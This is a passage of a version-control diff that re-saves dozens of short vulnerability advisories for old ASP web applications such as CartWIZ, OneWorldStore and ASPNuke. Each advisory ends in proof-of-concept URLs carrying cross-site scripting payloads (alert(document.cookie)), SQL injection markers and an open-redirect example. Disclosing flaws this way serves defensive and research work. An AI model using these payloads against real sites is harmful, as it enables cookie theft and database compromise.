-Referer: \ No newline at end of file +Referer: \ No newline at end of file diff --git a/platforms/asp/webapps/25078.txt b/platforms/asp/webapps/25078.txt index dd69f1bf3..1309be7bc 100755 --- a/platforms/asp/webapps/25078.txt +++ b/platforms/asp/webapps/25078.txt @@ -5,4 +5,4 @@ Reportedly Eurofull E-Commerce is affected by a cross-site scripting vulnerabili As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. http://www.example.com/shop/mensresp.asp?recomend=1&nombre=(CODE)&email= -http://www.example.com/shop/mensresp.asp?recomend=1&nombre=%3Cscript%3Ealert('discovery_by_snilabs')%3C/script%3E&email=&email= \ No newline at end of file +http://www.example.com/shop/mensresp.asp?recomend=1&nombre=%3Cscript%3Ealert('discovery_by_snilabs')%3C/script%3E&email=&email= \ No newline at end of file diff --git a/platforms/asp/webapps/25084.txt b/platforms/asp/webapps/25084.txt index e23e986bb..61b47dcbe 100755 --- a/platforms/asp/webapps/25084.txt +++ b/platforms/asp/webapps/25084.txt @@ -5,4 +5,4 @@ A remote URI-redirection vulnerability affects Microsoft Outlook Web Access. Thi An attacker may leverage this issue to carry out convincing phishing attacks against unsuspecting users by causing an arbitrary page to be loaded when the Microsoft Outlook Web Access login form is submitted. https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://www.example.net -https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://3221234342/ \ No newline at end of file +https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://3221234342/ \ No newline at end of file diff --git a/platforms/asp/webapps/25110.txt b/platforms/asp/webapps/25110.txt index f3a828ddf..619454050 100755 --- a/platforms/asp/webapps/25110.txt +++ b/platforms/asp/webapps/25110.txt @@ -6,4 +6,4 @@ Apparently, the application fails to properly validate Unicode characters allowi This can facilitate theft of cookie-based credentials and other attacks. -http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e \ No newline at end of file +http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e \ No newline at end of file diff --git a/platforms/asp/webapps/25148.txt b/platforms/asp/webapps/25148.txt index 80356522e..1941e15bc 100755 --- a/platforms/asp/webapps/25148.txt +++ b/platforms/asp/webapps/25148.txt @@ -4,4 +4,4 @@ It is reported that Mono is prone to various cross-site scripting attacks. These Mono 1.0.5 is reported vulnerable, however, other versions may be affected as well. -http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e \ No newline at end of file +http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e \ No newline at end of file diff --git a/platforms/asp/webapps/25233.txt b/platforms/asp/webapps/25233.txt index bb7cf0310..437739d2b 100755 --- a/platforms/asp/webapps/25233.txt +++ b/platforms/asp/webapps/25233.txt @@ -4,4 +4,4 @@ ACS Blog is reportedly affected by a cross-site scripting vulnerability. This is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com//search.asp?search=%22%3Cbr%3E%3Ciframe+src%3D%22http%3A%2F%2Fgoogle.com%22%3E%3C%2Fiframe%3E \ No newline at end of file +http://www.example.com//search.asp?search=%22%3Cbr%3E%3Ciframe+src%3D%22http%3A%2F%2Fgoogle.com%22%3E%3C%2Fiframe%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25254.txt b/platforms/asp/webapps/25254.txt index f72f6bc60..951339c33 100755 --- a/platforms/asp/webapps/25254.txt +++ b/platforms/asp/webapps/25254.txt @@ -10,4 +10,4 @@ It is reported that several betaparticle blog scripts may be accessed by a remot It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. -http://www.example.com/bp/myFiles.asp \ No newline at end of file +http://www.example.com/bp/myFiles.asp \ No newline at end of file diff --git a/platforms/asp/webapps/25313.txt b/platforms/asp/webapps/25313.txt index fed6f5e64..9dbf11a66 100755 --- a/platforms/asp/webapps/25313.txt +++ b/platforms/asp/webapps/25313.txt @@ -4,4 +4,4 @@ ACS Blog is affected by an HTML injection vulnerability. The issue affects the 'Name' field and may be exploited to execute arbitrary HTML and script code in the browser of the user when the user views an affected Web page. -Name: <script>alert("xss");</script> \ No newline at end of file +Name: <script>alert("xss");</script> \ No newline at end of file diff --git a/platforms/asp/webapps/25324.txt b/platforms/asp/webapps/25324.txt index c496c9482..d140837f7 100755 --- a/platforms/asp/webapps/25324.txt +++ b/platforms/asp/webapps/25324.txt @@ -6,4 +6,4 @@ An attacker can supply arbitrary HTML and script code through the BBCode IMG tag XM Forum RC3 is reported vulnerable. It is possible that other versions are affected as well. -[IMG]javasc+ript:alert(document.cookie)[/IMG] \ No newline at end of file +[IMG]javasc+ript:alert(document.cookie)[/IMG] \ No newline at end of file diff --git a/platforms/asp/webapps/25332.txt b/platforms/asp/webapps/25332.txt index 3f40b3288..bfafd3fe4 100755 --- a/platforms/asp/webapps/25332.txt +++ b/platforms/asp/webapps/25332.txt @@ -8,4 +8,4 @@ Successful exploitation could result in a compromise of the application, disclos All versions of SiteEnable are considered vulnerable at the moment. -http://www.example.com/content.asp?do_search=0&keywords=contact&page_no=2&sortby=;SELECT%20* FROM bla bla-- \ No newline at end of file +http://www.example.com/content.asp?do_search=0&keywords=contact&page_no=2&sortby=;SELECT%20* FROM bla bla-- \ No newline at end of file diff --git a/platforms/asp/webapps/25346.txt b/platforms/asp/webapps/25346.txt index 3084cd1e9..bee3e286c 100755 --- a/platforms/asp/webapps/25346.txt +++ b/platforms/asp/webapps/25346.txt @@ -5,4 +5,4 @@ Active Auction House is reportedly affected by multiple SQL injection vulnerabil Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/activeauctionsuperstore/default.asp?Sortby=ItemName&SortDir='SQL_INJECTION -http://www.example.com/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION \ No newline at end of file +http://www.example.com/activeauctionsuperstore/default.asp?Sortby='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25347.txt b/platforms/asp/webapps/25347.txt index 82a0813a2..c46060213 100755 --- a/platforms/asp/webapps/25347.txt +++ b/platforms/asp/webapps/25347.txt @@ -4,4 +4,4 @@ Active Auction House is reportedly affected by a SQL injection vulnerability. Th Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION \ No newline at end of file +http://www.example.com/activeauctionsuperstore/ItemInfo.asp?itemID='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25349.txt b/platforms/asp/webapps/25349.txt index e41070d6b..a27693a9c 100755 --- a/platforms/asp/webapps/25349.txt +++ b/platforms/asp/webapps/25349.txt @@ -4,4 +4,4 @@ Active Auction House is reportedly affected by multiple cross-site scripting vul An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/activeauctionsuperstore/account.asp?ReturnURL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25351.txt b/platforms/asp/webapps/25351.txt index aacceec7b..019632928 100755 --- a/platforms/asp/webapps/25351.txt +++ b/platforms/asp/webapps/25351.txt @@ -5,4 +5,4 @@ Active Auction House is reportedly affected by multiple cross-site scripting vul An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table=Accounts&Title="><script>alert(document.cookie)</script> -http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table="><script>alert(document.cookie)</script>&Title=Account \ No newline at end of file +http://www.example.com/activeauctionsuperstore/sendpassword.asp?Table="><script>alert(document.cookie)</script>&Title=Account \ No newline at end of file diff --git a/platforms/asp/webapps/25352.txt b/platforms/asp/webapps/25352.txt index d0b7ee19b..22d455eb3 100755 --- a/platforms/asp/webapps/25352.txt +++ b/platforms/asp/webapps/25352.txt @@ -4,4 +4,4 @@ Active Auction House is reportedly affected by a cross-site scripting vulnerabil An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/activeauctionsuperstore/watchthisitem.asp?itemid="><script>alert(document.cookie)</script>&%3baccountid= \ No newline at end of file +http://www.example.com/activeauctionsuperstore/watchthisitem.asp?itemid="><script>alert(document.cookie)</script>&%3baccountid= \ No newline at end of file diff --git a/platforms/asp/webapps/25390.txt b/platforms/asp/webapps/25390.txt index 72ac935e4..9d588fed2 100755 --- a/platforms/asp/webapps/25390.txt +++ b/platforms/asp/webapps/25390.txt @@ -4,4 +4,4 @@ Comersus Cart is affected by a cross-site scripting vulnerability. This issue is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/comersus_searchItem.asp?strSearch=0&curPage=2">%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/store/comersus_searchItem.asp?strSearch=0&curPage=2">%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25424.txt b/platforms/asp/webapps/25424.txt index cc59c9b4f..2ccb6a34b 100755 --- a/platforms/asp/webapps/25424.txt +++ b/platforms/asp/webapps/25424.txt @@ -4,4 +4,4 @@ OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/owBasket/owAddItem.asp?idProduct='SQL_INJECTION \ No newline at end of file +http://www.example.com/owBasket/owAddItem.asp?idProduct='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25425.txt b/platforms/asp/webapps/25425.txt index c3ef7fe43..e8ff2066e 100755 --- a/platforms/asp/webapps/25425.txt +++ b/platforms/asp/webapps/25425.txt @@ -5,4 +5,4 @@ OneWorldStore is prone to multiple SQL injection vulnerabilities. These issues a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/owListProduct.asp?bSpecials='SQL_INJECTION -http://www.example.com/owListProduct.asp?idCategory='SQL_INJECTION \ No newline at end of file +http://www.example.com/owListProduct.asp?idCategory='SQL_INJECTION \ No newline at end of file diff --git a/platforms/asp/webapps/25426.txt b/platforms/asp/webapps/25426.txt index e83db4364..a55291f9c 100755 --- a/platforms/asp/webapps/25426.txt +++ b/platforms/asp/webapps/25426.txt @@ -5,4 +5,4 @@ OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/owProductDetail.asp?idProduct='SQL_INJECTION -http://www.example.com/owProductDetail.asp?sAction=ProductReview&idProduct='SQL_INJECTION&idCategory=40&sUserName=&sUserEmail=&sRating=1&sBody=dcrab \ No newline at end of file +http://www.example.com/owProductDetail.asp?sAction=ProductReview&idProduct='SQL_INJECTION&idCategory=40&sUserName=&sUserEmail=&sRating=1&sBody=dcrab \ No newline at end of file diff --git a/platforms/asp/webapps/25427.txt b/platforms/asp/webapps/25427.txt index e6d10e69a..da28a2ca0 100755 --- a/platforms/asp/webapps/25427.txt +++ b/platforms/asp/webapps/25427.txt @@ -4,4 +4,4 @@ OneWorldStore is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/owContactUs.asp?sAction=Contact&sName=&sEmail='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sType=None+Specified&sDescription=dcrab \ No newline at end of file +http://www.example.com/owContactUs.asp?sAction=Contact&sName=&sEmail='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&sType=None+Specified&sDescription=dcrab \ No newline at end of file diff --git a/platforms/asp/webapps/25428.txt b/platforms/asp/webapps/25428.txt index 087f7f1e8..254117307 100755 --- a/platforms/asp/webapps/25428.txt +++ b/platforms/asp/webapps/25428.txt @@ -4,4 +4,4 @@ OneWorldStore is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/owListProduct.asp?bSub='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&idCategory=64 \ No newline at end of file +http://www.example.com/owListProduct.asp?bSub='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&idCategory=64 \ No newline at end of file diff --git a/platforms/asp/webapps/25455.txt b/platforms/asp/webapps/25455.txt index 6a6f60bc0..1878136e5 100755 --- a/platforms/asp/webapps/25455.txt +++ b/platforms/asp/webapps/25455.txt @@ -4,4 +4,4 @@ OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=15%20or%201=1 \ No newline at end of file +http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=15%20or%201=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25456.txt b/platforms/asp/webapps/25456.txt index 0ed1628ec..156f8ff58 100755 --- a/platforms/asp/webapps/25456.txt +++ b/platforms/asp/webapps/25456.txt @@ -5,4 +5,4 @@ OneWorldStore is prone to a cross-site scripting vulnerability. This issue is du An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=15"> -http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=1">

lalala

\ No newline at end of file +http://www.example.com/owSearch/DisplayResults.asp?sIDSearch=1">

lalala

\ No newline at end of file diff --git a/platforms/asp/webapps/25466.txt b/platforms/asp/webapps/25466.txt index 1cc0d3840..79a2298b6 100755 --- a/platforms/asp/webapps/25466.txt +++ b/platforms/asp/webapps/25466.txt @@ -5,4 +5,4 @@ EcommProV3 is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD='[SQL Injection] -http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD=''='[SQL Injection] \ No newline at end of file +http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD=''='[SQL Injection] \ No newline at end of file diff --git a/platforms/asp/webapps/25481.txt b/platforms/asp/webapps/25481.txt index ec0146ca4..e5f385e77 100755 --- a/platforms/asp/webapps/25481.txt +++ b/platforms/asp/webapps/25481.txt @@ -135,4 +135,4 @@ http://www.example.com/dUpro/home/../News/detail.asp?iData=21&iCat='SQL_ERR http://www.example.com/dUpro/home/../news/detail.asp?iData=21&iCat='SQL_ERRORS&iChannel=1&nChannel=News http://www.example.com/dUpro/home/../Products/detail.asp?iData=9&iCat='SQL_ERRORS&iChannel=8&nChannel=Products http://www.example.com/dUpro/home/../Topics/detail.asp?iData=29&iCat=478&iChannel=16&nChannel='SQL_ERRORS -http://www.example.com/dUpro/Topics/../topics/detail.asp?iData=28&iCat=479&iChannel=16&nChannel='SQL_ERRORS \ No newline at end of file +http://www.example.com/dUpro/Topics/../topics/detail.asp?iData=28&iCat=479&iChannel=16&nChannel='SQL_ERRORS \ No newline at end of file diff --git a/platforms/asp/webapps/25485.txt b/platforms/asp/webapps/25485.txt index be37ad508..3e874b434 100755 --- a/platforms/asp/webapps/25485.txt +++ b/platforms/asp/webapps/25485.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. -http://www.example.com/test_DUportal/home/type.asp?iCat='SQL_INJECTION&iChannel=8&nChannel=Products \ No newline at end of file +http://www.example.com/test_DUportal/home/type.asp?iCat='SQL_INJECTION&iChannel=8&nChannel=Products \ No newline at end of file diff --git a/platforms/asp/webapps/25498.txt b/platforms/asp/webapps/25498.txt index 35d0d5c27..8bc99aaf5 100755 --- a/platforms/asp/webapps/25498.txt +++ b/platforms/asp/webapps/25498.txt @@ -4,4 +4,4 @@ ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/module/support/task/comments.asp?taskid='[SQL_INJECTION] \ No newline at end of file +http://www.example.com/module/support/task/comments.asp?taskid='[SQL_INJECTION] \ No newline at end of file diff --git a/platforms/asp/webapps/25500.txt b/platforms/asp/webapps/25500.txt index 19da74161..92ffbc78b 100755 --- a/platforms/asp/webapps/25500.txt +++ b/platforms/asp/webapps/25500.txt @@ -4,4 +4,4 @@ ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/module/support/task/detail.asp?taskid='[SQL_INJECTION] \ No newline at end of file +http://www.example.com/module/support/task/detail.asp?taskid='[SQL_INJECTION] \ No newline at end of file diff --git a/platforms/asp/webapps/25501.txt b/platforms/asp/webapps/25501.txt index 80d9425c7..5ca58134d 100755 --- a/platforms/asp/webapps/25501.txt +++ b/platforms/asp/webapps/25501.txt @@ -4,4 +4,4 @@ ASPNuke is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25502.txt b/platforms/asp/webapps/25502.txt index 0b88142c0..8e75df6ea 100755 --- a/platforms/asp/webapps/25502.txt +++ b/platforms/asp/webapps/25502.txt @@ -4,4 +4,4 @@ ASPNuke is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/25504.txt b/platforms/asp/webapps/25504.txt index b0889f6b4..c99267b94 100755 --- a/platforms/asp/webapps/25504.txt +++ b/platforms/asp/webapps/25504.txt @@ -4,4 +4,4 @@ Black Knight Forum is prone to an SQL injection vulnerability. This issue is due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/member.asp?id=[SQL] \ No newline at end of file +http://www.example.com/member.asp?id=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/25505.txt b/platforms/asp/webapps/25505.txt index 4740a0b6a..bc8b87ec1 100755 --- a/platforms/asp/webapps/25505.txt +++ b/platforms/asp/webapps/25505.txt @@ -4,4 +4,4 @@ Black Knight Forum is prone to an SQL injection vulnerability. This issue is due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/forum.asp?forum=[SQL] \ No newline at end of file +http://www.example.com/forum.asp?forum=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/25506.txt b/platforms/asp/webapps/25506.txt index 44ed295eb..85c42aa2c 100755 --- a/platforms/asp/webapps/25506.txt +++ b/platforms/asp/webapps/25506.txt @@ -4,4 +4,4 @@ CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/store/addToCart.asp?idProduct=[SQL]&quantity=1 \ No newline at end of file +http://www.example.com/store/addToCart.asp?idProduct=[SQL]&quantity=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25507.txt b/platforms/asp/webapps/25507.txt index 5cdff5eb0..bd78cd0b9 100755 --- a/platforms/asp/webapps/25507.txt +++ b/platforms/asp/webapps/25507.txt @@ -4,4 +4,4 @@ CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/store/productCatalogSubCats.asp?idParentCategory=[SQL] \ No newline at end of file +http://www.example.com/store/productCatalogSubCats.asp?idParentCategory=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/25508.txt b/platforms/asp/webapps/25508.txt index 4f58f8ea2..d7754798d 100755 --- a/platforms/asp/webapps/25508.txt +++ b/platforms/asp/webapps/25508.txt @@ -4,4 +4,4 @@ CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/store/productDetails.asp?idProduct=[SQL] \ No newline at end of file +http://www.example.com/store/productDetails.asp?idProduct=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/25509.txt b/platforms/asp/webapps/25509.txt index 6f52725e0..47caad8bd 100755 --- a/platforms/asp/webapps/25509.txt +++ b/platforms/asp/webapps/25509.txt @@ -4,4 +4,4 @@ CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&priceTo=[SQL]&validate=1 \ No newline at end of file +http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&priceTo=[SQL]&validate=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25510.txt b/platforms/asp/webapps/25510.txt index 2f4af8343..28af66753 100755 --- a/platforms/asp/webapps/25510.txt +++ b/platforms/asp/webapps/25510.txt @@ -4,4 +4,4 @@ CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=[SQL]&priceTo=9999999999&validate=1 \ No newline at end of file +http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=[SQL]&priceTo=9999999999&validate=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25512.txt b/platforms/asp/webapps/25512.txt index 1f933b7ab..bfbd23f5a 100755 --- a/platforms/asp/webapps/25512.txt +++ b/platforms/asp/webapps/25512.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/tellAFriend.asp?idProduct='"> \ No newline at end of file +http://www.example.com/store/tellAFriend.asp?idProduct='"> \ No newline at end of file diff --git a/platforms/asp/webapps/25513.txt b/platforms/asp/webapps/25513.txt index e12f96015..fc987927a 100755 --- a/platforms/asp/webapps/25513.txt +++ b/platforms/asp/webapps/25513.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/addToWishlist.asp?idProduct='"> \ No newline at end of file +http://www.example.com/store/addToWishlist.asp?idProduct='"> \ No newline at end of file diff --git a/platforms/asp/webapps/25514.txt b/platforms/asp/webapps/25514.txt index cdf6516f8..1c380979f 100755 --- a/platforms/asp/webapps/25514.txt +++ b/platforms/asp/webapps/25514.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/access.asp?redirect='"> \ No newline at end of file +http://www.example.com/store/access.asp?redirect='"> \ No newline at end of file diff --git a/platforms/asp/webapps/25515.txt b/platforms/asp/webapps/25515.txt index 4d7821eaf..adcb9bea2 100755 --- a/platforms/asp/webapps/25515.txt +++ b/platforms/asp/webapps/25515.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/error.asp?message='"> \ No newline at end of file +http://www.example.com/store/error.asp?message='"> \ No newline at end of file diff --git a/platforms/asp/webapps/25516.txt b/platforms/asp/webapps/25516.txt index 08e5a5ab4..cb73e9958 100755 --- a/platforms/asp/webapps/25516.txt +++ b/platforms/asp/webapps/25516.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/login.asp?message=Please+login+using+the+form+above+to+access+your+account.&redirect='"> \ No newline at end of file +http://www.example.com/store/login.asp?message=Please+login+using+the+form+above+to+access+your+account.&redirect='"> \ No newline at end of file diff --git a/platforms/asp/webapps/25520.txt b/platforms/asp/webapps/25520.txt index ccedca4be..269586ad8 100755 --- a/platforms/asp/webapps/25520.txt +++ b/platforms/asp/webapps/25520.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/login.asp?message='">&redirect= \ No newline at end of file +http://www.example.com/store/login.asp?message='">&redirect= \ No newline at end of file diff --git a/platforms/asp/webapps/25521.txt b/platforms/asp/webapps/25521.txt index ed4ded5c9..c127c3b09 100755 --- a/platforms/asp/webapps/25521.txt +++ b/platforms/asp/webapps/25521.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/searchResults.asp?name=&idCategory=&sku='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&priceFrom=0&priceTo=9999999999&validate=1 \ No newline at end of file +http://www.example.com/store/searchResults.asp?name=&idCategory=&sku='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&priceFrom=0&priceTo=9999999999&validate=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25522.txt b/platforms/asp/webapps/25522.txt index ccdac48cd..e9e9d1adb 100755 --- a/platforms/asp/webapps/25522.txt +++ b/platforms/asp/webapps/25522.txt @@ -4,4 +4,4 @@ CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/store/searchResults.asp?name='">&idCategory=&sku=&priceFrom=0&priceTo=9999999999&validate=1 \ No newline at end of file +http://www.example.com/store/searchResults.asp?name='">&idCategory=&sku=&priceFrom=0&priceTo=9999999999&validate=1 \ No newline at end of file diff --git a/platforms/asp/webapps/25529.txt b/platforms/asp/webapps/25529.txt index 5e6ed44d7..95562be87 100755 --- a/platforms/asp/webapps/25529.txt +++ b/platforms/asp/webapps/25529.txt @@ -10,4 +10,4 @@ http://www.example.com/default.asp?opr=35&id=1&idcategory='[SQL injection]&idcat http://www.example.com/default.asp?opr=35&id=1&idcategory=1&idcategoryp='[SQL injection] http://www.example.com/default.asp?mnu=&id=1&opr=5&content='[SQL injection] http://www.example.com/default.asp?id=1&opr=4&keyword='[SQL injection] -http://www.example.com/default.asp?opr=41&idcategory=11&idcategoryp=11&id=1&idproduct='[SQL injection] \ No newline at end of file +http://www.example.com/default.asp?opr=41&idcategory=11&idcategoryp=11&id=1&idproduct='[SQL injection] \ No newline at end of file diff --git a/platforms/asp/webapps/25530.txt b/platforms/asp/webapps/25530.txt index 8c5fbcc14..da64c9cb7 100755 --- a/platforms/asp/webapps/25530.txt +++ b/platforms/asp/webapps/25530.txt @@ -7,4 +7,4 @@ Exploitation of this vulnerability would expose the customer names, as they appe http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=1 http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=2 http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=3 -http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder= \ No newline at end of file +http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder= \ No newline at end of file diff --git a/platforms/asp/webapps/25536.txt b/platforms/asp/webapps/25536.txt index 352d18f5a..7c52494f3 100755 --- 